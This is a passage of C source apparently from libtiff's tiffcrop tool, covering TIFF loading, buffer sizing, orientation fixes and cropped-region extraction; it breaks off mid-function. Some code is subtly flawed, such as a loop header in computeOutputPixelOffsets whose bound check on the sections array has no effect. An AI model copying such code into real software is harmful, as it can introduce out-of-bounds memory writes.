ORIENTATION_NONE: case ORIENTATION_PORTRAIT: ocols = TIFFhowmany(iwidth, owidth); orows = TIFFhowmany(ilength, olength); /* orientation = ORIENTATION_PORTRAIT; */ break; case ORIENTATION_LANDSCAPE: ocols = TIFFhowmany(iwidth, olength); orows = TIFFhowmany(ilength, owidth); x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ break; case ORIENTATION_AUTO: default: x1 = TIFFhowmany(iwidth, owidth); x2 = TIFFhowmany(ilength, olength); y1 = TIFFhowmany(iwidth, olength); y2 = TIFFhowmany(ilength, owidth); if ( (x1 * x2) < (y1 * y2)) { /* Portrait */ ocols = x1; orows = x2; /* orientation = ORIENTATION_PORTRAIT; */ } else { /* Landscape */ ocols = y1; orows = y2; x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ } } if (ocols < 1) ocols = 1; if (orows < 1) orows = 1; /* If user did not specify rows and cols, set them from calcuation */ if (page->rows < 1) page->rows = orows; if (page->cols < 1) page->cols = ocols; line_bytes = TIFFhowmany8(owidth * image->bps) * image->spp; if ((page->rows * page->cols) > MAX_SECTIONS) { TIFFError("computeOutputPixelOffsets", "Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections"); return (-1); } /* build the list of offsets for each output section */ for (k = 0, i = 0 && k <= MAX_SECTIONS; i < orows; i++) { y1 = (uint32)(olength * i); y2 = (uint32)(olength * (i + 1) - 1); if (y2 >= ilength) y2 = ilength - 1; for (j = 0; j < ocols; j++, k++) { x1 = (uint32)(owidth * j); x2 = (uint32)(owidth * (j + 1) - 1); if (x2 >= iwidth) x2 = iwidth - 1; sections[k].x1 = x1; sections[k].x2 = x2; sections[k].y1 = y1; sections[k].y2 = y2; sections[k].buffsize = line_bytes * olength; sections[k].position = k + 1; sections[k].total = orows * ocols; } } return (0); } /* end computeOutputPixelOffsets */ static int loadImage(TIFF* in, struct image_data *image, struct dump_opts *dump, unsigned char **read_ptr) { uint32 i; float xres = 0.0, yres = 0.0; uint16 nstrips = 0, ntiles = 0, planar = 0; uint16 bps = 0, spp = 0, res_unit = 0; uint16 orientation = 0; uint16 input_compression = 0, input_photometric = 0; uint16 subsampling_horiz, subsampling_vert; uint32 width = 0, length = 0; uint32 stsize = 0, tlsize = 0, buffsize = 0, scanlinesize = 0; uint32 tw = 0, tl = 0; /* Tile width and length */ uint32 tile_rowsize = 0; unsigned char *read_buff = NULL; unsigned char *new_buff = NULL; int readunit = 0; static uint32 prev_readsize = 0; TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); if (! TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) TIFFError("loadImage","Image lacks Photometric interpreation tag"); if (! TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width)) TIFFError("loadimage","Image lacks image width tag"); if(! TIFFGetField(in, TIFFTAG_IMAGELENGTH, &length)) TIFFError("loadimage","Image lacks image length tag"); TIFFGetFieldDefaulted(in, TIFFTAG_XRESOLUTION, &xres); TIFFGetFieldDefaulted(in, TIFFTAG_YRESOLUTION, &yres); if (!TIFFGetFieldDefaulted(in, TIFFTAG_RESOLUTIONUNIT, &res_unit)) res_unit = RESUNIT_INCH; if (!TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)) input_compression = COMPRESSION_NONE; #ifdef DEBUG2 char compressionid[16]; switch (input_compression) { case COMPRESSION_NONE: /* 1 dump mode */ strcpy (compressionid, "None/dump"); break; case COMPRESSION_CCITTRLE: /* 2 CCITT modified Huffman RLE */ strcpy (compressionid, "Huffman RLE"); break; case COMPRESSION_CCITTFAX3: /* 3 CCITT Group 3 fax encoding */ strcpy (compressionid, "Group3 Fax"); break; case COMPRESSION_CCITTFAX4: /* 4 CCITT Group 4 fax encoding */ strcpy (compressionid, "Group4 Fax"); break; case COMPRESSION_LZW: /* 5 Lempel-Ziv & Welch */ strcpy (compressionid, "LZW"); break; case COMPRESSION_OJPEG: /* 6 !6.0 JPEG */ strcpy (compressionid, "Old Jpeg"); break; case COMPRESSION_JPEG: /* 7 %JPEG DCT compression */ strcpy (compressionid, "New Jpeg"); break; case COMPRESSION_NEXT: /* 32766 NeXT 2-bit RLE */ strcpy (compressionid, "Next RLE"); break; case COMPRESSION_CCITTRLEW: /* 32771 #1 w/ word alignment */ strcpy (compressionid, "CITTRLEW"); break; case COMPRESSION_PACKBITS: /* 32773 Macintosh RLE */ strcpy (compressionid, "Mac Packbits"); break; case COMPRESSION_THUNDERSCAN: /* 32809 ThunderScan RLE */ strcpy (compressionid, "Thunderscan"); break; case COMPRESSION_IT8CTPAD: /* 32895 IT8 CT w/padding */ strcpy (compressionid, "IT8 padded"); break; case COMPRESSION_IT8LW: /* 32896 IT8 Linework RLE */ strcpy (compressionid, "IT8 RLE"); break; case COMPRESSION_IT8MP: /* 32897 IT8 Monochrome picture */ strcpy (compressionid, "IT8 mono"); break; case COMPRESSION_IT8BL: /* 32898 IT8 Binary line art */ strcpy (compressionid, "IT8 lineart"); break; case COMPRESSION_PIXARFILM: /* 32908 Pixar companded 10bit LZW */ strcpy (compressionid, "Pixar 10 bit"); break; case COMPRESSION_PIXARLOG: /* 32909 Pixar companded 11bit ZIP */ strcpy (compressionid, "Pixar 11bit"); break; case COMPRESSION_DEFLATE: /* 32946 Deflate compression */ strcpy (compressionid, "Deflate"); break; case COMPRESSION_ADOBE_DEFLATE: /* 8 Deflate compression */ strcpy (compressionid, "Adobe deflate"); break; default: strcpy (compressionid, "None/unknown"); break; } TIFFError("loadImage", "Input compression %s", compressionid); #endif scanlinesize = TIFFScanlineSize(in); image->bps = bps; image->spp = spp; image->planar = planar; image->width = width; image->length = length; image->xres = xres; image->yres = yres; image->res_unit = res_unit; image->compression = input_compression; image->photometric = input_photometric; #ifdef DEBUG2 char photometricid[12]; switch (input_photometric) { case PHOTOMETRIC_MINISWHITE: strcpy (photometricid, "MinIsWhite"); break; case PHOTOMETRIC_MINISBLACK: strcpy (photometricid, "MinIsBlack"); break; case PHOTOMETRIC_RGB: strcpy (photometricid, "RGB"); break; case PHOTOMETRIC_PALETTE: strcpy (photometricid, "Palette"); break; case PHOTOMETRIC_MASK: strcpy (photometricid, "Mask"); break; case PHOTOMETRIC_SEPARATED: strcpy (photometricid, "Separated"); break; case PHOTOMETRIC_YCBCR: strcpy (photometricid, "YCBCR"); break; case PHOTOMETRIC_CIELAB: strcpy (photometricid, "CIELab"); break; case PHOTOMETRIC_ICCLAB: strcpy (photometricid, "ICCLab"); break; case PHOTOMETRIC_ITULAB: strcpy (photometricid, "ITULab"); break; case PHOTOMETRIC_LOGL: strcpy (photometricid, "LogL"); break; case PHOTOMETRIC_LOGLUV: strcpy (photometricid, "LOGLuv"); break; default: strcpy (photometricid, "Unknown"); break; } TIFFError("loadImage", "Input photometric interpretation %s", photometricid); #endif image->orientation = orientation; switch (orientation) { case 0: case ORIENTATION_TOPLEFT: image->adjustments = 0; break; case ORIENTATION_TOPRIGHT: image->adjustments = MIRROR_HORIZ; break; case ORIENTATION_BOTRIGHT: image->adjustments = ROTATECW_180; break; case ORIENTATION_BOTLEFT: image->adjustments = MIRROR_VERT; break; case ORIENTATION_LEFTTOP: image->adjustments = MIRROR_VERT | ROTATECW_90; break; case ORIENTATION_RIGHTTOP: image->adjustments = ROTATECW_90; break; case ORIENTATION_RIGHTBOT: image->adjustments = MIRROR_VERT | ROTATECW_270; break; case ORIENTATION_LEFTBOT: image->adjustments = ROTATECW_270; break; default: image->adjustments = 0; image->orientation = ORIENTATION_TOPLEFT; } if ((bps == 0) || (spp == 0)) { TIFFError("loadImage", "Invalid samples per pixel (%d) or bits per sample (%d)", spp, bps); return (-1); } if (TIFFIsTiled(in)) { readunit = TILE; tlsize = TIFFTileSize(in); ntiles = TIFFNumberOfTiles(in); TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); tile_rowsize = TIFFTileRowSize(in); if (ntiles == 0 || tlsize == 0 || tile_rowsize == 0) { TIFFError("loadImage", "File appears to be tiled, but the number of tiles, tile size, or tile rowsize is zero."); exit(-1); } buffsize = tlsize * ntiles; if (tlsize != (buffsize / ntiles)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } if (buffsize < (uint32)(ntiles * tl * tile_rowsize)) { buffsize = ntiles * tl * tile_rowsize; if (ntiles != (buffsize / tl / tile_rowsize)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } #ifdef DEBUG2 TIFFError("loadImage", "Tilesize %u is too small, using ntiles * tilelength * tilerowsize %lu", tlsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Tilesize: %u, Number of Tiles: %u, Tile row size: %u", tlsize, ntiles, tile_rowsize); } else { uint32 buffsize_check; readunit = STRIP; TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); stsize = TIFFStripSize(in); nstrips = TIFFNumberOfStrips(in); if (nstrips == 0 || stsize == 0) { TIFFError("loadImage", "File appears to be striped, but the number of stipes or stripe size is zero."); exit(-1); } buffsize = stsize * nstrips; if (stsize != (buffsize / nstrips)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } buffsize_check = ((length * width * spp * bps) + 7); if (length != ((buffsize_check - 7) / width / spp / bps)) { TIFFError("loadImage", "Integer overflow detected."); exit(-1); } if (buffsize < (uint32) (((length * width * spp * bps) + 7) / 8)) { buffsize = ((length * width * spp * bps) + 7) / 8; #ifdef DEBUG2 TIFFError("loadImage", "Stripsize %u is too small, using imagelength * width * spp * bps / 8 = %lu", stsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Stripsize: %u, Number of Strips: %u, Rows per Strip: %u, Scanline size: %u", stsize, nstrips, rowsperstrip, scanlinesize); } if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ jpegcolormode = JPEGCOLORMODE_RGB; TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } /* The clause up to the read statement is taken from Tom Lane's tiffcp patch */ else { /* Otherwise, can't handle subsampled input */ if (input_photometric == PHOTOMETRIC_YCBCR) { TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsampling_horiz, &subsampling_vert); if (subsampling_horiz != 1 || subsampling_vert != 1) { TIFFError("loadImage", "Can't copy/convert subsampled image with subsampling %d horiz %d vert", subsampling_horiz, subsampling_vert); return (-1); } } } read_buff = *read_ptr; /* +3 : add a few guard bytes since reverseSamples16bits() can read a bit */ /* outside buffer */ if (!read_buff) read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); else { if (prev_readsize < buffsize) { new_buff = _TIFFrealloc(read_buff, buffsize+3); if (!new_buff) { free (read_buff); read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else read_buff = new_buff; } } if (!read_buff) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff[buffsize] = 0; read_buff[buffsize+1] = 0; read_buff[buffsize+2] = 0; prev_readsize = buffsize; *read_ptr = read_buff; /* N.B. The read functions used copy separate plane data into a buffer as interleaved * samples rather than separate planes so the same logic works to extract regions * regardless of the way the data are organized in the input file. */ switch (readunit) { case STRIP: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigStripsIntoBuffer(in, read_buff))) { TIFFError("loadImage", "Unable to read contiguous strips into buffer"); return (-1); } } else { if (!(readSeparateStripsIntoBuffer(in, read_buff, length, width, spp, dump))) { TIFFError("loadImage", "Unable to read separate strips into buffer"); return (-1); } } break; case TILE: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read contiguous tiles into buffer"); return (-1); } } else { if (!(readSeparateTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read separate tiles into buffer"); return (-1); } } break; default: TIFFError("loadImage", "Unsupported image file format"); return (-1); break; } if ((dump->infile != NULL) && (dump->level == 2)) { dump_info (dump->infile, dump->format, "loadImage", "Image width %d, length %d, Raw image data, %4d bytes", width, length, buffsize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d", bps, spp); for (i = 0; i < length; i++) dump_buffer(dump->infile, dump->format, 1, scanlinesize, i, read_buff + (i * scanlinesize)); } return (0); } /* end loadImage */ static int correct_orientation(struct image_data *image, unsigned char **work_buff_ptr) { uint16 mirror, rotation; unsigned char *work_buff; work_buff = *work_buff_ptr; if ((image == NULL) || (work_buff == NULL)) { TIFFError ("correct_orientatin", "Invalid image or buffer pointer"); return (-1); } if ((image->adjustments & MIRROR_HORIZ) || (image->adjustments & MIRROR_VERT)) { mirror = (uint16)(image->adjustments & MIRROR_BOTH); if (mirrorImage(image->spp, image->bps, mirror, image->width, image->length, work_buff)) { TIFFError ("correct_orientation", "Unable to mirror image"); return (-1); } } if (image->adjustments & ROTATE_ANY) { if (image->adjustments & ROTATECW_90) rotation = (uint16) 90; else if (image->adjustments & ROTATECW_180) rotation = (uint16) 180; else if (image->adjustments & ROTATECW_270) rotation = (uint16) 270; else { TIFFError ("correct_orientation", "Invalid rotation value: %d", image->adjustments & ROTATE_ANY); return (-1); } if (rotateImage(rotation, image, &image->width, &image->length, work_buff_ptr)) { TIFFError ("correct_orientation", "Unable to rotate image"); return (-1); } image->orientation = ORIENTATION_TOPLEFT; } return (0); } /* end correct_orientation */ /* Extract multiple zones from an image and combine into a single composite image */ static int extractCompositeRegions(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 i, trailing_bits, prev_trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_rowsize, dst_rowsize, src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint32 prev_length, prev_width, composite_width; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract one or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src = read_buff; dst = crop_buff; /* These are setup for adding additional sections */ prev_width = prev_length = 0; prev_trailing_bits = trailing_bits = 0; composite_width = crop->combined_width; crop->combined_width = 0; crop->combined_length = 0; for (i = 0; i < crop->selections; i++) { /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[i].y1; last_row = crop->regionlist[i].y2; first_col = crop->regionlist[i].x1; last_col = crop->regionlist[i].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; /* These should not be needed for composite images */ crop->regionlist[i].width = crop_width; crop->regionlist[i].length = crop_length; crop->regionlist[i].buffptr = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * count) + 7) / 8); switch (crop->edge_ref) { default: case EDGE_TOP: case EDGE_BOTTOM: if ((i > 0) && (crop_width != crop->regionlist[i - 1].width)) { TIFFError ("extractCompositeRegions", "Only equal width regions can be combined for -E top or bottom"); return (1); } crop->combined_width = crop_width; crop->combined_length += crop_length; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + (prev_length * dst_rowsize); switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_length += crop_length; break; case EDGE_LEFT: /* splice the pieces of each row together, side by side */ case EDGE_RIGHT: if ((i > 0) && (crop_length != crop->regionlist[i - 1].length)) { TIFFError ("extractCompositeRegions", "Only equal length regions can be combined for -E left or right"); return (1); } crop->combined_width += crop_width; crop->combined_length = crop_length; dst_rowsize = (((composite_width * bps * count) + 7) / 8); trailing_bits = (crop_width * bps * count) % 8; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + prev_width; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_width += (crop_width * bps * count) / 8; prev_trailing_bits += trailing_bits; if (prev_trailing_bits > 7) prev_trailing_bits-= 8; break; } } if (crop->combined_width != composite_width) TIFFError("combineSeparateRegions","Combined width does not match composite width"); return (0); } /* end extractCompositeRegions */ /* Copy a single region of input buffer to an output buffer. * The read functions used copy separate plane data into a buffer * as interleaved samples rather than separate planes so the same * logic works to extract regions regardless of the way the data * are organized in the input file. This function can be used to * extract one or more samples from the input image by updating the * parameters for starting sample and number of samples to copy in the * fifth and eighth arguments of the call to extractContigSamples. * They would be passed as new elements of the crop_mask struct. */ static int extractSeparateRegion(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff, int region) { int shift_width, prev_trailing_bits = 0; uint32 bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, dst_rowsize; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract more or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; /* Byte aligned data only */ else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[region].y1; last_row = crop->regionlist[region].y2; first_col = crop->regionlist[region].x1; last_col = crop->regionlist[region].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; crop->regionlist[region].width = crop_width; crop->regionlist[region].length = crop_length; crop->regionlist[region].buffptr = crop_buff; src = read_buff; dst = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * spp) + 7) / 8); for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractSeparateRegion", "Unsupported bit depth %d", bps); return (1); } } return (0); } /* end extractSeparateRegion */ static int extractImageSection(struct image_data *image, struct pageseg *section, unsigned char *src_buff, unsigned char *sect_buff) { unsigned char bytebuff1, bytebuff2; #ifdef DEVELMODE /* unsigned char *src, *dst; */ #endif uint32 img_width, img_rowsize; #ifdef DEVELMODE uint32 img_length; #endif uint32 j, shift1, shift2, trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset, row_offset, col_offset; uint32 offset1, offset2, full_bytes; uint32 sect_width; #ifdef DEVELMODE uint32 sect_length; #endif uint16 bps, spp; #ifdef DEVELMODE int k; unsigned char bitset; static char *bitarray = NULL; #endif img_width = image->width; #ifdef DEVELMODE img_length = image->length; #endif bps = image->bps; spp = image->spp; #ifdef DEVELMODE /* src = src_buff; */ /* dst = sect_buff; */ #endif src_offset = 0; dst_offset = 0; #ifdef DEVELMODE if (bitarray == NULL) { if ((bitarray = (char *)malloc(img_width)) == NULL) { TIFFError ("", "DEBUG: Unable to allocate debugging bitarray"); return (-1); } } #endif /* rows, columns, width, length are expressed in pixels */ first_row = section->y1; last_row = section->y2; first_col = section->x1; last_col = section->x2; sect_width = last_col - first_col + 1; #ifdef DEVELMODE sect_length = last_row - first_row + 1; #endif img_rowsize = ((img_width * bps + 7) / 8) * spp; full_bytes = (sect_width * spp * bps) / 8; /* number of COMPLETE bytes per row in section */ trailing_bits = (sect_width * bps) % 8; #ifdef DEVELMODE TIFFError ("", "First row: %d, last row: %d, First col: %d, last col: %d\n", first_row, last_row, first_col, last_col); TIFFError ("", "Image width: %d, Image length: %d, bps: %d, spp: %d\n", img_width, img_length, bps, spp); TIFFError ("", "Sect width: %d, Sect length: %d, full bytes: %d trailing bits %d\n", sect_width, sect_length, full_bytes, trailing_bits); #endif if ((bps % 8) == 0) { col_offset = first_col * spp * bps / 8; for (row = first_row; row <= last_row; row++) { /* row_offset = row * img_width * spp * bps / 8; */ row_offset = row * img_rowsize; src_offset = row_offset + col_offset; #ifdef DEVELMODE TIFFError ("", "Src offset: %8d, Dst offset: %8d", src_offset, dst_offset); #endif _TIFFmemcpy (sect_buff + dst_offset, src_buff + src_offset, full_bytes); dst_offset += full_bytes; } } else { /* bps != 8 */ shift1 = spp * ((first_col * bps) % 8); shift2 = spp * ((last_col * bps) % 8); for (row = first_row; row <= last_row; row++) { /* pull out the first byte */ row_offset = row * img_rowsize; offset1 = row_offset + (first_col * bps / 8); offset2 = row_offset + (last_col * bps / 8); #ifdef DEVELMODE for (j = 0, k = 7; j < 8; j++, k--) { bitset = *(src_buff + offset1) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } sprintf(&bitarray[8], " "); sprintf(&bitarray[9], " "); for (j = 10, k = 7; j < 18; j++, k--) { bitset = *(src_buff + offset2) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[18] = '\0'; TIFFError ("", "Row: %3d Offset1: %d, Shift1: %d, Offset2: %d, Shift2: %d\n", row, offset1, shift1, offset2, shift2); #endif bytebuff1 = bytebuff2 = 0; if (shift1 == 0) /* the region is byte and sample alligned */ { _TIFFmemcpy (sect_buff + dst_offset, src_buff + offset1, full_bytes); #ifdef DEVELMODE TIFFError ("", " Alligned data src offset1: %8d, Dst offset: %8d\n", offset1, dst_offset); sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { bytebuff2 = src_buff[offset2] & ((unsigned char)255 << (7 - shift2)); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset2, dst_offset); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } else /* each destination byte will have to be built from two source bytes*/ { #ifdef DEVELMODE TIFFError ("", " Unalligned data src offset: %8d, Dst offset: %8d\n", offset1 , dst_offset); #endif for (j = 0; j <= full_bytes; j++) { bytebuff1 = src_buff[offset1 + j] & ((unsigned char)255 >> shift1); bytebuff2 = src_buff[offset1 + j + 1] & ((unsigned char)255 << (7 - shift1)); sect_buff[dst_offset + j] = (bytebuff1 << shift1) | (bytebuff2 >> (8 - shift1)); } #ifdef DEVELMODE sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset1 + full_bytes, dst_offset); #endif if (shift2 > shift1) { bytebuff1 = src_buff[offset1 + full_bytes] & ((unsigned char)255 << (7 - shift2)); bytebuff2 = bytebuff1 & ((unsigned char)255 << shift1); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 > Shift1\n"); #endif } else { if (shift2 < shift1) { bytebuff2 = ((unsigned char)255 << (shift1 - shift2 - 1)); sect_buff[dst_offset] &= bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 < Shift1\n"); #endif } #ifdef DEVELMODE else TIFFError ("", " Shift2 == Shift1\n"); #endif } } #ifdef DEVELMODE sprintf(&bitarray[28], " "); sprintf(&bitarray[29], " "); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } } return (0); } /* end extractImageSection */ static int writeSelections(TIFF *in, TIFF **out, struct crop_mask *crop, struct image_data *image, struct dump_opts *dump, struct buffinfo seg_buffs[], char *mp, char *filename, unsigned int *page, unsigned int total_pages) { int i, page_count; int autoindex = 0; unsigned char *crop_buff = NULL; /* Where we open a new file depends on the export mode */ switch (crop->exp_mode) { case ONE_FILE_COMPOSITE: /* Regions combined into single image */ autoindex = 0; crop_buff = seg_buffs[0].buffer; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = total_pages; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case ONE_FILE_SEPARATED: /* Regions as separated images */ autoindex = 0; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = crop->selections * total_pages; for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_IMAGE_COMPOSITE: /* Regions as composite image */ autoindex = 1; if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[0].buffer; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case FILE_PER_IMAGE_SEPARATED: /* Regions as separated images */ autoindex = 1; page_count = crop->selections; if (update_output_file (out, mp, autoindex, filename, page)) return (1); for (i = 0; i < crop->selections; i++) { crop_buff = 